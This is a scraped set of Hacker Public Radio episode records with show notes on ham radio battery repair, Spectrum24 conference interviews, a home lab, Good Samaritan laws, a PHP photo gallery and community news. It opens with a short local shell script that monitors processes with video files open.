                                                            \n
                                                            clear\necho `date` INFO: Showing any processes with videos open with ps aufx\n# use LSOF insted .. ps aufx|grep -iaE "(\\.avi|\\.mpg|\\.mov|\\.flv|\\.wmv|\\.asf|\\.mpeg|\\.m4v|\\.divx|\\.mp4|\\.mkv|\\.sub|\\.iso|\\.264|\\.vob|\\.srt|\\.img|\\.sfv)" ps aufx|grep -iaE "(\\.avi|\\.mpg|\\.mov|\\.flv|\\.wmv|\\.asf|\\.mpeg|\\.m4v|\\.divx|\\.mp4|\\.mkv|\\.sub|\\.iso|\\.264|\\.vob|\\.srt|\\.img|\\.sfv)"\n\nlsof -w | awk '{for (i = 1; i < 9; i++) $i = ""; sub(/^ */, ""); print}'|sort -u |  grep -iaE "(\\.avi|\\.mpg|\\.mov|\\.flv|\\.wmv|\\.asf|\\.mpeg|\\.m4v|\\.divx|\\.mp4|\\.mkv|\\.sub|\\.iso|\\.264|\\.vob|\\.srt|\\.img|\\.sfv)" | grep -vE "(Beakman|\\.movie)"\n\n\nsleep 8\npkill -f tmux\ntmux new-session -s asdf -n myWindow -d 'btop'\\; \\\nsplit-window -d 'nethogs -v 3 -p'\\; \\\nsplit-window -d 'intel_gpu_top'\\; \\\nselect-pane -t 0 \\; \\\nresize-pane -y 24 \\;  attach-session
                                                            \n","hostid":36,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"hacking","version":0,"downloads":0,"valid":1}, {"id":4212,"date":"2024-09-24","title":"Replacing backup batteries in my Kenwood TS940S HF Radio Part 4","duration":1209,"summary":"Part 4 deals with getting access to the PLL backup battery.","notes":"

                                                            Link to the\nYouTube video I used that described the process of removing the two\nbackup batteries in a Kenwood TS-940S.

                                                            \n

                                                            I mention\nthe acronym PLL which stands for Phase Locked Loop. Here is a Wikipedia\narticle about PLL.

                                                            \n

                                                            Picture 1
                                                            \n
                                                            \nshows a top down view of the radio. The large black square section\nlocated at the front left of the picture contains the speaker left and\ncontrol board right. With the top cover fitted the control board is\naccessible via s sliding cover. Both the speaker and control board need\nto be removed in order to get access to the PLL backup battery. Both\ncome out as one piece.

                                                            \n

                                                            Picture 2
                                                            \n
                                                            \nshows the first three connectors that need removing from the control\nboard. All six connectors need removing before lifting the control board\nand speaker.

                                                            \n

                                                            Picture 3
                                                            \n
                                                            \nshows the second three connectors that need removing from the control\nboard. Notice they are marked with the letter F.

                                                            \n

                                                            Picture 4
                                                            \n
                                                            \nshows one of the connectors removed. I was nervous removing these.\nFortunately I was able to remove them without causing any damage.

                                                            \n

                                                            I\nmention the terms pigtail and screened cables. Here is a link to a\npigtail soldered to a screened cable.

                                                            \n

                                                            Picture 5
                                                            \n
                                                            \nshows the speaker and control board lifted out of place and swiveled to\nthe side to reveal the PLL unit which is encased in a metal box for\nscreening. There are eight screws on the top lid that need removing to\ngain access to the inside of the screened PLL unit.

                                                            \n

                                                            Picture 6
                                                            \n
                                                            \nshows the top cover removed from the screened PLL unit revealing the\nbackup battery located in the middle of the picture (Silver disc with\norange outer rim). The top cover is swiveled to the left hand side out\nof the way.

                                                            \n

                                                            Picture 7
                                                            \n
                                                            \nshows a close up of the PLL backup battery. From the picture droplets of\nliquid can clearly be seen on the right hand connecting terminal\nindicating that the battery is leaking and must be removed before damage\noccurs. On the right hand side of the picture notice the two connectors\nattached to the circuit board that are terminated with unused sockets. I\nhave no idea what these sockets are used for. There are brass pillars\neither side of the connectors. I assume some sort of add on board could\nbe purchased and perhaps this is what the unused connectors are for. I\nalso mention an unpopulated IC socket that can be seen in the top left\nhand side of the picture. This is probably for another optional\nextra.

                                                            \n","hostid":201,"series":43,"explicit":1,"license":"CC-BY-SA","tags":"Amateur, Radio, DIY, repair, electronics, soldering","version":0,"downloads":0,"valid":1}, {"id":4213,"date":"2024-09-25","title":"Making Waves Day 1","duration":2331,"summary":"The Hallway track from Spectrum24 day 1","notes":"

                                                            Making Waves Day 1

                                                            \n

                                                            \"HPR

                                                            \n

                                                            The Conference for Creative Use of the Radio Spectrum in Open\nSystems, that brings users of the radio spectrum together. For over a\ncentury, technology has made it possible to transfer more data, faster,\nfurther. Today, wireless technology is everywhere and commonplace.\nHowever, it remains a playground and a ground for innovation for many\ncommunities. The spectrum24 conference provides an opportunity to\npublicize projects and to allow the different communities that use the\nspectrum to meet in person over a weekend.

                                                            \n

                                                            President of the IARU Region\n1

                                                            \n

                                                            It's only right to start with\nSylvain Azarian F4GKR the\npresident of the International\nAmateur Radio Union (IARU) | Region 1

                                                            \n

                                                            The IARU represents the interests of the Amateur Radio Service\nworldwide to relevant international organisations, promoting the\ninterests of amateur radio and seeking to protect and enhance its\nspectrum privileges.

                                                            \n

                                                            \"IARU

                                                            \nRadioastronomy\nactivity with the Paris radio-telescope and EME\n

                                                            Next we chat with\nFrançois-Xavier Hugo and\nJules Benkemoun F4IEY talking\nabout the Radiotelescope in the form of a 10m dish parabolic mesh disk\noperated at the\nClub\nRadioAmateur F4KLO.

                                                            \n

                                                            \"Image

                                                            \nSetting\nup an Amateur Radio Station at a Technical School\n

                                                            Anthony Le Cren - F4GOH,\nteaches electronics and computer technology at a Technical School and\ntells us about the science projects they got up to. He also managed to\nget a hour a week where he and his students set up an Amateur Radio\nStation in the school. What can you do in a hour a week ? Turns out\nquite a lot.

                                                            \n

                                                            Have a look at his site\nProjets radio for more\ninformation.

                                                            \n

                                                            \"Image

                                                            \n

                                                            Meshcom

                                                            \n

                                                            We chat with Michael Zwingl\nOE3MZC who is president of the\nInstitute of Citizen Science for Space\nand Wireless Communication about\nMeshCom 4.0

                                                            \n

                                                            \"The

                                                            \n

                                                            MeshCom is a project to exchange text messages via LORA radio\nmodules. The primary goal is to realize networked off-grid messaging\nwith low power and low cost hardware.

                                                            \n

                                                            The technical approach is based on the use of LORA radio modules\nwhich transmit messages, positions, measured values, telecontrol and\nmuch more with low transmission power over long distances. MeshCom\nmodules can be combined to form a mesh network, but can also be\nconnected to a message network via MeshCom gateways, which are ideally\nconnected via HAMNET. This enables MeshCom radio networks, which are not\nconnected to each other via radio, to communicate with each other.\n

                                                            \n

                                                            \"A

                                                            \n

                                                            Satdump

                                                            \n

                                                            Although Alan Antoine\nF4LAU was unfortunately not able to attend in person, his shoes were\nfilled by Jacopo Cassinis,\nand Zbigniew Sztanga who\nchatted with us about\nSatDump.

                                                            \n

                                                            SatDump is a general purpose satellite data processing\nsoftware. It is a one-stop-shop that provides all the necessary stages\nto get from the satellite transmission to actual products

                                                            \n

                                                            \"Jacopo

                                                            \n","hostid":30,"series":78,"explicit":0,"license":"CC-BY-SA","tags":"IARU,F4KLO,F4GOH,Meshcom,Satdump","version":0,"downloads":0,"valid":1}, {"id":4214,"date":"2024-09-26","title":"Making Waves Day 2","duration":2199,"summary":"The Hallway track from Spectrum24 day 2","notes":"

                                                            Making Waves Day 2

                                                            \n

                                                            \"closing

                                                            \n

                                                            The Conference for Creative Use of the Radio Spectrum in Open\nSystems, that brings users of the radio spectrum together. For over a\ncentury, technology has made it possible to transfer more data, faster,\nfurther. Today, wireless technology is everywhere and commonplace.\nHowever, it remains a playground and a ground for innovation for many\ncommunities. The spectrum24 conference provides an opportunity to\npublicize projects and to allow the different communities that use the\nspectrum to meet in person over a weekend.

                                                            \n

                                                            M17

                                                            \n

                                                            Let's start the day off with a talk with\nMorgan Dieport ON4MOD from\nthe M17 Protocol.

                                                            \n

                                                            M17 is a community of open source developers and radio\nenthusiasts. We're building understandable systems in support of the\nhackers and experimenters' history of ham radio.

                                                            \n

                                                            \"A

                                                            \n

                                                            OpenRTX

                                                            \n

                                                            Silvano Seva IU2KWO

                                                            \n

                                                            OpenRTX is \"Free and Open Source\nFirmware for Digital Ham Radios. Top-down designed with modularity,\nflexibility and performance in mind.\" The code is available on\ngithub.

                                                            \n

                                                            \"OpenRTX

                                                            \n

                                                            RF Swift

                                                            \n

                                                            We next caught up with Sebastien\nDudek who had just presented a talk about the project\n

                                                            \n

                                                            Introducing our Go and shell script-based toolbox, designed\nto streamline the deployment of Docker containers for your preferred RF\ntools. This evolving toolkit promises even more features in the near\nfuture, making it an essential asset for RF enthusiasts.

                                                            \n

                                                            \"Sebastien

                                                            \n

                                                            VLF receivers design

                                                            \n

                                                            The say that in Space no one can hear you scream, but here at\nspectrum24 I'm not so sure.

                                                            \n

                                                            The talk from Thierry Alves\nF4EOB, CT2JTZ spoke\nof listening to cosmic wind.

                                                            \n

                                                            So how low can you go ? Head over to\nhttp://www.vlf.it to find out.

                                                            \n

                                                            \"Thierry

                                                            \n

                                                            trx-control

                                                            \n

                                                            What do you do when you're not organizing conferences ? Hacking a\nproject to contrail radios, and a lot more besides, using Linux.

                                                            \n

                                                            trx-control is a modern and extensible software system for\nLinux to control transceivers and other devices over the network. It can\nas well be used to integrate third-party applications or databases.\n

                                                            \n

                                                            \"Marc

                                                            \n","hostid":30,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"M17,OpenRTX,RF-Swift,VLF,trx-control","version":0,"downloads":0,"valid":1}, {"id":4215,"date":"2024-09-27","title":"My home lab","duration":910,"summary":"About setting up a rack mounted home lab","notes":"\n

                                                            3 servers, a Mac\nMini, and some old networking kit

                                                            \n

                                                            Lee talks about building a home lab consisting of several servers and\nsome networking equipment.

                                                            \n

                                                            The home lab on Reddit: 3_servers_a_mac_mini_and_some_old_networking_kit

                                                            \n

                                                            Rack is limited to 30cm deep due to closet dimensions. All three\nserver cases have been modded in one way or another (most drastic was\nthe DVR, cut down from 40cm deep with an angle-grinder). To save money /\nenergy, the DVR is the only one always on, except in winter when I can\njustify the others heating the apartment.

                                                            \n

                                                            The (fairly obsolete) Cisco Router and old WiFi broadband router\ntogether can provide a Wireless LAN filtered with an IP deny list.

                                                            \n

                                                            Top to bottom

                                                            \n
                                                              \n\n\n\n\n\n\n\n\n\n\n
                                                            • NAS Server (1U)\n
                                                                \n
                                                              • CPU: Intel Celeron N4505 NUC
                                                              • \n
                                                              • OS/Software: Ubuntu 22.10
                                                              • \n
                                                              • Mem: 8Gb
                                                              • \n
                                                              • Storage: 4 TB
                                                              • \n
                                                            • \n
                                                            • DVR (2U)\n
                                                                \n
                                                              • CPU: 12-core 12th Gen Intel Core i7-12700
                                                              • \n
                                                              • OS/Software: Manjaro / Jellyfin
                                                              • \n
                                                              • Mem: 16Gb
                                                              • \n
                                                              • Storage: 16 TB
                                                              • \n
                                                            • \n
                                                            • Secondary WiFi\n
                                                                \n
                                                              • Old TalkTalk Router
                                                              • \n
                                                            • \n
                                                            • Switch\n
                                                                \n
                                                              • Cisco SG-100-16
                                                              • \n
                                                            • \n
                                                            • Router\n
                                                                \n
                                                              • Cisco 1841 Router
                                                              • \n
                                                            • \n
                                                            • Mac Mini\n
                                                                \n
                                                              • CPU: quad core Intel Core i7-2635QM
                                                              • \n
                                                              • OS/Software: Manjaro
                                                              • \n
                                                              • Mem: 16 GB
                                                              • \n
                                                              • Storage: 1 TB
                                                              • \n
                                                            • \n
                                                            • Proxmox Box (2U)\n
                                                                \n
                                                              • CPU: 8-Core AMD Ryzen 7 3700X
                                                              • \n
                                                              • OS/Software: Proxmox 7
                                                              • \n
                                                              • Mem: 64Gb
                                                              • \n
                                                              • Storage: 3 TB
                                                              • \n
                                                            • \n
                                                            \n

                                                            \n","hostid":403,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"homelab, server, self-hosting","version":0,"downloads":0,"valid":1}, {"id":4216,"date":"2024-09-30","title":"Down the rabbit hole.","duration":1863,"summary":"Sgoti talks about Good Samaritan laws. Good Heavens!","notes":"

                                                            Down the rabbit hole.

                                                            \n

                                                            Sgoti talks about Good\nSamaritan laws.

                                                            \n
                                                              \n
                                                            • Tags: Good Samaritan laws, Duty to rescue
                                                            • \n
                                                            \n

                                                            Good Samaritan laws offer legal protection to people who give\nreasonable assistance to those who are, or whom they believe to be\ninjured, ill, in peril, or otherwise incapacitated. The protection is\nintended to reduce bystanders' hesitation to assist, for fear of being\nsued or prosecuted for unintentional injury or wrongful death.
                                                            \n

                                                            \n

                                                            A duty to rescue is a concept in tort law and criminal law that\narises in a number of cases, describing a circumstance in which a party\ncan be held liable for failing to come to the rescue of another party\nwho could face potential injury or death without being rescued. The\nexact extent of the duty varies greatly between different\njurisdictions.
                                                            \nA duty to rescue arises where a person creates a hazardous situation. If\nanother person then falls into peril because of this hazardous\nsituation, the creator of the hazard – who may not necessarily have been\na negligent tortfeasor – has a duty to rescue the individual in\nperil.
                                                            \nSpouses have a duty to rescue each other in all U.S. jurisdictions.

                                                            \n

                                                            A tort is a civil wrong, other than breach of contract, that causes a\nclaimant to suffer loss or harm, resulting in legal liability for the\nperson who commits the tortious act. Tort law can be contrasted with\ncriminal law, which deals with criminal wrongs that are punishable by\nthe state. While criminal law aims to punish individuals who commit\ncrimes, tort law aims to compensate individuals who suffer harm as a\nresult of the actions of others.
                                                            \nIn common, civil, and mixed law jurisdictions alike, the main remedy\navailable to plaintiffs under tort law is compensation in damages, or\nmoney.
                                                            \n

                                                            \n

                                                            Title: Good Samaritan Law.
                                                            \nLicense: Text is available under the Creative Commons\nAttribution-ShareAlike License 4.0; additional terms may apply.
                                                            \nSource(s):
                                                            \nwikipedia: Good Samaritan Law.
                                                            \n

                                                            \n

                                                            Title: Duty to rescue.
                                                            \nLicense: Text is available under the Creative Commons\nAttribution-ShareAlike License 4.0; additional terms may apply.
                                                            \nSource(s):
                                                            \nwikipedia: Duty to rescue.
                                                            \n

                                                            \n

                                                            Title: Tort.
                                                            \nLicense: Text is available under the Creative Commons\nAttribution-ShareAlike License 4.0; additional terms may apply.
                                                            \nSource(s):
                                                            \nwikipedia: Tort.
                                                            \n

                                                            \n","hostid":391,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"Good Samaritan laws, Duty to rescue","version":0,"downloads":0,"valid":1}, {"id":4217,"date":"2024-10-01","title":"Episode 2 - Dirt Simple Photo Gallery","duration":585,"summary":"Dirt Simple Photo Gallery put me on the path to Plain Text Programs","notes":"

                                                            Episode 2 - Dirt Simple\nPhoto Gallery

                                                            \n

                                                            Dirt Simple Photo Gallery is the program that started me down the\nPlain Text Programs path. It predates my own thinking about Plain Text\nPrograms by at least a decade. Ever since I wrote it I use it all the\ntime. It is now my preferred web page generator for all kinds of web\npages, not just galleries.

                                                            \n

                                                            Like most of my programs I wrote it because I needed it. Vivian and I\nwere putting on music events like Blues Fest, Sunday In The Park, Jazz\nThursday, New Jazz In Jonesboro, and Bebopalooza. I recorded all the\nshows. Sometimes video, always audio. And we loved taking pictures of\nthe musicians singing and playing.

                                                            \n

                                                            After the shows we would dump the photo files to a hard drive, make\nall the original photos read only, and back them up to a CD or DVD. We\nreally enjoyed scrolling through the photos, picking the ones we liked,\ncropping them and enhancing them, and resizing them for the\ninternet.

                                                            \n

                                                            And then that's where it fell apart. We recorded the show. We took\nthe pictures. We cropped the pictures and had them ready to go for our\nDelta Boogie website. And we didn't want to write the html.

                                                            \n

                                                            Some days we would have five or six bands playing. We usually had ten\nto twenty photos of each band that we picked out of hundreds of photos\ntaken. Do the math. That's a lot of typing HTML code like a href =, img\nsrc, etc. A lot a captions to write. A lot of work to get done in a\nweek. Because the next weekend we had another show. Another set of\nphotos. Another bunch of html backlog.

                                                            \n

                                                            And the thing I found out. If we didn't get the pages posted right\naway we almost never had time to post them later. I mean we had kids to\nraise, cooking to do, cars to fix, school to attend, not to mention\nwork.

                                                            \n

                                                            So, I loved writing programs more than I loved marking up html. And I\ncould write one program and avoid marking up tons of html. And so I\nwrote the Dirt Simple Photo Gallery.

                                                            \n

                                                            Even back in the dark ages of the internet also known as the nineties\nthere were photo gallery programs. And just like today they were\ncumbersome and running them was a lot like data entry. You know what I\nhate worse than writing html? Data entry.

                                                            \n

                                                            I had this idea. I would take all the photos we had ready for a\ngallery and I would upload them to a directory on our server. Then I\nwould upload an index.php file and we'd have a photo gallery.

                                                            \n

                                                            And that's just how Dirt Simple Photo Gallery works. And if that's\nreally all you need you're done.

                                                            \n

                                                            It wasn't quite all we needed. So I added a title.txt file and a\nnotes.txt file so there could be a bit more than just the photos and\ncaptions on the web page. I was careful that I didn't have to write any\nhtml in the notes.txt file. The program even automatically turns copy\nand pasted links into hot links.

                                                            \n

                                                            Now, you can include html in the notes.txt file. You can even embed\niframes if you want to include an audio or video player. But you don't\nhave to. Also, iframe embeds are just a copy and paste exactly like\nlinks. Easy peasy.

                                                            \n

                                                            There's also the problem of the captions and the sort order of the\nphotos.

                                                            \n

                                                            Captions

                                                            \n

                                                            I use the file names to carry the meta data required for captions and\nsort order.

                                                            \n

                                                            These are the characters I use in the file names. Alphanumeric,\ncommas, apostrophes, dashes, and underscores. I don't use spaces but the\nunderscores are converted to spaces in the captions. I use Thunar and I\nlove the bulk rename option where I can search and replace a set of file\nnames and change all the spaces into underscores.

                                                            \n

                                                            I have code that allows you to include special characters in your\ncaptions by using html character sets but it's confusing to think about.\nAnd I discovered the only special characters I really needed were\ndashes, commas, and apostrophes. All three of these characters are legal\nin file names on all major systems. Dashes are not problematic. Commas\ncan cause problems if you are using comma delimited data but, I'm not,\nso no worries. Apostrophes can also be an issue because in php they are\nused as single quotes and can be used to delimit strings in the code.\nThere is a way around this with php. Use double quotes to surround the\nentire string. If there is a place inside of that string where you would\nuse single quotes, which is not uncommon in html, replace the single\nquotes with escaped double quotes, that is \". So that's what I did.

                                                            \n

                                                            So now I can use all the apostrophes I want in my file names and they\nfly right through my code, never accidentally truncating a string and\nthrowing errors.

                                                            \n

                                                            Commas and apostrophes are important in captions. Captioning group\nshots without commas leads to misunderstanding people's names. And if\nyour caption has a possessive in it like Joe's Garage leaving the\napostrophe out is just wrong.

                                                            \n

                                                            Using double quotes in a file name will truncate strings in the php\ncode and throw errors. Usually, anywhere you would want a double quote a\nsingle quote will do.

                                                            \n

                                                            There are other special characters, like dashes, that aren't\nproblematic. Forward slashes and back slashes should not be used in file\nnames ever. Some special characters may work on some systems and not on\nothers. I've been using this program for almost 25 years and I really\nwant commas and apostrophes and don't really care about other special\ncharacters in captions. You may have special needs for special\ncharacters I don't. That's why it's open source. If you need something\nthe program isn't designed to provide test it. Fix it. Right now there\nare fewer than 100 lines of code in the program. I have confidence in\nyou.

                                                            \n

                                                            Sorting

                                                            \n

                                                            Default sorting of images is alphabetical by file name. If you just\nname your files with good captions and don't add any numbers as a prefix\nthat's what you'll get. Alphabetical by caption. This may be just what\nyou need.

                                                            \n

                                                            If, however, you want some other sort order you can prefix your files\nwith nnn- where n is any integer.

                                                            \n

                                                            000-filename.ext displays the picture at the top of the page. If the\nphoto is narrow enough, the text from notes.txt will wrap around it to\nthe left.

                                                            \n

                                                            All the photos numbered 001- to 999- will display in a single column\nbelow the text. Unnumbered photos will also display below the text in\nalphabetical order. So if you want a photo at the top of the page add\nthe prefix 000- to the file name. If alphabetical order is what you want\nfor the rest of the photos you don't have to rename them.

                                                            \n

                                                            Permitted extensions are jpg, png, or gif. (It's hapeg stupid!) It's\neasy to add other permitted extensions in the code but, of course, they\nhave to be rendered by a browser. I did not include the jpeg extension\nchoosing to rename jpeg files to jpg. This made it slightly easier to\ncode.

                                                            \n

                                                            There is a config.inc file where you can set your table width. The\ndefault is 700. I resize my photos to be 600 max width. I usually use\njpg files with a quality level of 90. This reduces storage space and\nenables fast loading of images. The config.inc file also allows you to\nchange background color, text color, link color, etc. There is also a\nCSS section in the config.inc file so you can change the font, the\nheadline sizes, etc. Or add your own CSS.

                                                            \n

                                                            If you have trouble getting the text wraparound to look good on your\npage there is a way to disable it in the config.inc file.

                                                            \n

                                                            Install the page with ftp. Make a directory, where you want it on\nyour website, and give it a good name. Upload index.php, title.txt,\nnotes.txt, config.inc, and the image files into the directory. Go to\nyour website and check it out. That's it.

                                                            \n

                                                            Page maintenance is the same. Fix captions by renaming files. Add and\ndelete images. Update the title or the text in notes.txt and upload the\nchanges. Change the font, colors, or CSS in config.inc and upload the\nchanges.

                                                            \n

                                                            I have put up a demo site on infinityfree.com.

                                                            \n

                                                            And I am posting my show notes on my blog at
                                                            \nhttps://home.gamerplus.org/

                                                            \n

                                                            I will include links there to the demo site, the link to the comment\nthread for this podcast on Mastodon, and the link to the git repository\non Codeberg.

                                                            \n

                                                            If you can't find Dirt Simple Photo Gallery use the search\nfeature.

                                                            \n

                                                            To Network With Hairy Larry I have another plain text program\nat
                                                            \nhttps://deltaboogie.net/

                                                            \n

                                                            If you use or have written Plain Text Programs please let me know. I\nwant to do a podcast about them.

                                                            \n

                                                            Thanks for listening.

                                                            \n

                                                            More Links

                                                            \n\n","hostid":436,"series":25,"explicit":0,"license":"CC-BY-SA","tags":"programming,plaintext,gallery,images,photos","version":0,"downloads":0,"valid":1}, {"id":4218,"date":"2024-10-02","title":"Crazy Battery Story","duration":517,"summary":"Got the wrong batteries and had to walk to get the right ones","notes":"

                                                            My telegram is t.me/forthenerdsremix

                                                            \n

                                                            irc is #forthenerds on libera

                                                            \n","hostid":297,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"batteries, remote control, tv","version":0,"downloads":0,"valid":1}, {"id":4219,"date":"2024-10-03","title":"Black diamond head lamp and other gear","duration":1456,"summary":"Sgoti talks about using his head lamp and backpack during his day job","notes":"

                                                            Black diamond head lamp\nand other gear.

                                                            \nSgoti\ntalks about using his head lamp and backpack during his day job.\n
                                                              \n
                                                            • Tags: headlamp, backpack
                                                            • \n
                                                            \n

                                                            black\ndiamond spot 400 headlamp

                                                            \n
                                                              \n
                                                            • Features\n
                                                                \n
                                                              • Dual-fuel design allows you to power the headlamp with 3 AAA\nalkaline batteries (included) or the rechargeable BD 1500 lithium-ion\nbattery and charger (not included)
                                                              • \n
                                                              • Settings include proximity and distance modes, dimming, strobe, red\nLED night vision, and lock mode
                                                              • \n
                                                              • White LED outputs up to 400 lumens on max setting, 200 lumens on\nmedium and 6 lumens on low
                                                              • \n
                                                              • PowerTap™ Technology allows instant adjustment between max output\nand dimmed power
                                                              • \n
                                                              • Brightness Memory allows you to turn the light on and off at a\nchosen brightness setting without it reverting back to the default\nsetting
                                                              • \n
                                                              • Red LED night vision has dimming and strobe modes, and is quickly\nactivated without cycling through the white mode
                                                              • \n
                                                              • Multifaceted optical efficiency lens technology
                                                              • \n
                                                              • Integrated battery meter display shows the percentage of power\nremaining so you know when to replace the batteries
                                                              • \n
                                                              • Digital lockout feature prevents accidental use when stored in a\npack or pocket
                                                              • \n
                                                              • IPX8 waterproof protection rated to operate at least 1.1 meters\nunderwater for 30 minutes—perfect should you be caught in a\ndownpour
                                                              • \n
                                                              • If submerged, water may enter the battery compartment, but it will\nstill operate; it should be completely dried out after use in wet\nconditions
                                                              • \n
                                                            • \n
                                                            \n

                                                            Fieldsmith\nLid Pack 28L

                                                            \n

                                                            This work is licensed under a Creative Commons\nAttribution-ShareAlike 4.0 International License.

                                                            \n","hostid":391,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"headlamp, backpack","version":0,"downloads":0,"valid":1}, {"id":4220,"date":"2024-10-04","title":"How Doctor Who Began","duration":877,"summary":"A look at the very first serial of Doctor Who","notes":"

                                                            This is a look at the very first serial of Doctor who, and how the\ncast was first put in place. It is in many ways an unlikely story for a\nshow that has gone on for 60 years and counting. I find the early\nstories to be charming and worth a look, and many things from these\nearly stories come back in later stories as well.

                                                            \n

                                                            Links:

                                                            \n\n","hostid":198,"series":124,"explicit":0,"license":"CC-BY-SA","tags":"Science fiction, Doctor Who, William Hartnell","version":0,"downloads":0,"valid":1}, {"id":4221,"date":"2024-10-07","title":"HPR Community News for September 2024","duration":4221,"summary":"HPR Volunteers talk about shows released and comments posted in September 2024","notes":"\n\n

                                                            New hosts

                                                            \n

                                                            \nWelcome to our new host:
                                                            \n\n hairylarry.\n

                                                            \n\n

                                                            Last Month's Shows

                                                            \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n
                                                            IdDayDateTitleHost
                                                            4196Mon2024-09-02HPR Community News for August 2024HPR Volunteers
                                                            4197Tue2024-09-03After 5 years away, OggCamp is back in 2024!Ken Fallon
                                                            4198Wed2024-09-04Are hobbies pathological?Lee
                                                            4199Thu2024-09-05 HPR New Years Eve Show 2023 - 24 ep 7Honkeymagoo
                                                            4200Fri2024-09-06Intro to Doctor WhoAhuka
                                                            4201Mon2024-09-09Today I learnt (2024-08-23)Dave Morriss
                                                            4202Tue2024-09-10Replacing backup batteries in my Kenwood HF Radio Part 3MrX
                                                            4203Wed2024-09-11Setup DuckDNS on a Raspberry PiKevie
                                                            4204Thu2024-09-12LibreOffice Importing External Datagemlog
                                                            4205Fri2024-09-13Trollercoasting almost getting a heart attackTrollercoaster
                                                            4206Mon2024-09-16New to GNU/Linux resources.Some Guy On The Internet
                                                            4207Tue2024-09-17Re: The Kindle/Kobo Open Reader (KOReader)dnt
                                                            4208Wed2024-09-1801 Plain Text Programshairylarry
                                                            4209Thu2024-09-19 HPR New Years Eve Show 2023 - 24 ep 8Honkeymagoo
                                                            4210Fri2024-09-20Playing Civilization IV, Part 1Ahuka
                                                            4211Mon2024-09-23Rapid Fire 1operat0r
                                                            4212Tue2024-09-24Replacing backup batteries in my Kenwood TS940S HF Radio Part 4MrX
                                                            4213Wed2024-09-25Making Waves Day 1Ken Fallon
                                                            4214Thu2024-09-26Making Waves Day 2Ken Fallon
                                                            4215Fri2024-09-27My home labLee
                                                            4216Mon2024-09-30Down the rabbit hole.Some Guy On The Internet
                                                            \n\n

                                                            Comments this month

                                                            \n\n

                                                            These are comments which have been made during the past month, either to shows released during the month or to past shows.\nThere are 23 comments in total.

                                                            \n

                                                            Past shows

                                                            \n

                                                            There are 6 comments on\n6 previous shows:

                                                            \n
                                                              \n
                                                            • hpr4109\n(2024-05-02) \"The future of HPR \"\nby knightwise.
                                                              \n
                                                            • \n
                                                                \n
                                                              • \nComment 9:\nKen Fallon on 2024-09-13:\n\"Interesting post by Alan Pope\"

                                                              \n
                                                            • hpr4156\n(2024-07-08) \"Badger 2040\"\nby Kevie.
                                                              \n
                                                            • \n
                                                                \n
                                                              • \nComment 2:\nKen Fallon on 2024-09-12:\n\"Heading to spectrum24\"

                                                              \n
                                                            • hpr4175\n(2024-08-02) \"what's in my bag part 2\"\nby operat0r.
                                                              \n
                                                            • \n
                                                                \n
                                                              • \nComment 1:\noperator on 2024-09-11:\n\"operator\"

                                                              \n
                                                            • hpr4177\n(2024-08-06) \"Blender 3D Tutorial #1\"\nby Deltaray.
                                                              \n
                                                            • \n
                                                                \n
                                                              • \nComment 3:\nSome Guy On The Internet on 2024-09-09:\n\"Great show.\"

                                                              \n
                                                            • hpr4182\n(2024-08-13) \"Replacing backup batteries in my Kenwood TS940S HF Radio Part 1\"\nby MrX.
                                                              \n
                                                            • \n
                                                                \n
                                                              • \nComment 2:\nMrX on 2024-09-11:\n\"Re Thank you for the reminder\"

                                                              \n
                                                            • hpr4195\n(2024-08-30) \"Hacking HPR Hosts\"\nby Ken Fallon.
                                                              \n
                                                            • \n
                                                                \n
                                                              • \nComment 1:\ndnt on 2024-09-01:\n\"Scheduling and the reserve queue\"

                                                              \n
                                                            \n

                                                            This month's shows

                                                            \n

                                                            There are 17 comments on 8 of this month's shows:

                                                            \n
                                                            • hpr4196\n(2024-09-02) \"HPR Community News for August 2024\"\nby HPR Volunteers.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nTrollercoaster on 2024-09-03:\n\"Why!?\"
                                                              • Comment 2:\nbrian-in-ohio on 2024-09-03:\n\"single board computer\"
                                                              • Comment 3:\nKen Fallon on 2024-09-03:\n\"@Brian\"

                                                              \n
                                                            • hpr4198\n(2024-09-04) \"Are hobbies pathological?\"\nby Lee.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\ndnt on 2024-09-10:\n\"Pathologies\"

                                                              \n
                                                            • hpr4200\n(2024-09-06) \"Intro to Doctor Who\"\nby Ahuka.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nhammerron on 2024-09-06:\n\"Streaming Doctor Who\"
                                                              • Comment 2:\nbrian-in-ohio on 2024-09-08:\n\"Shows\"
                                                              • Comment 3:\ndnt on 2024-09-10:\n\"Dr Who\"
                                                              • Comment 4:\nDave Morriss on 2024-09-16:\n\"Excellent start!\"

                                                              \n
                                                            • hpr4207\n(2024-09-17) \"Re: The Kindle/Kobo Open Reader (KOReader)\"\nby dnt.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nDave Morriss on 2024-09-18:\n\"How to say \"Calibre\"\"

                                                              \n
                                                            • hpr4208\n(2024-09-18) \"01 Plain Text Programs\"\nby hairylarry.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nClaudioM on 2024-09-18:\n\"Hello there, fellow SDFer! Great Episode!\"
                                                              • Comment 2:\nbrian-in-ohio on 2024-09-18:\n\"The hook\"
                                                              • Comment 3:\nBeeza on 2024-10-03:\n\"Plaintext Programs\"
                                                              • Comment 4:\nDave Morriss on 2024-10-04:\n\"Regarding VMS and indexed files\"

                                                              \n
                                                            • hpr4212\n(2024-09-24) \"Replacing backup batteries in my Kenwood TS940S HF Radio Part 4\"\nby MrX.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nHenrik Hemrin on 2024-09-30:\n\"Engineering\"
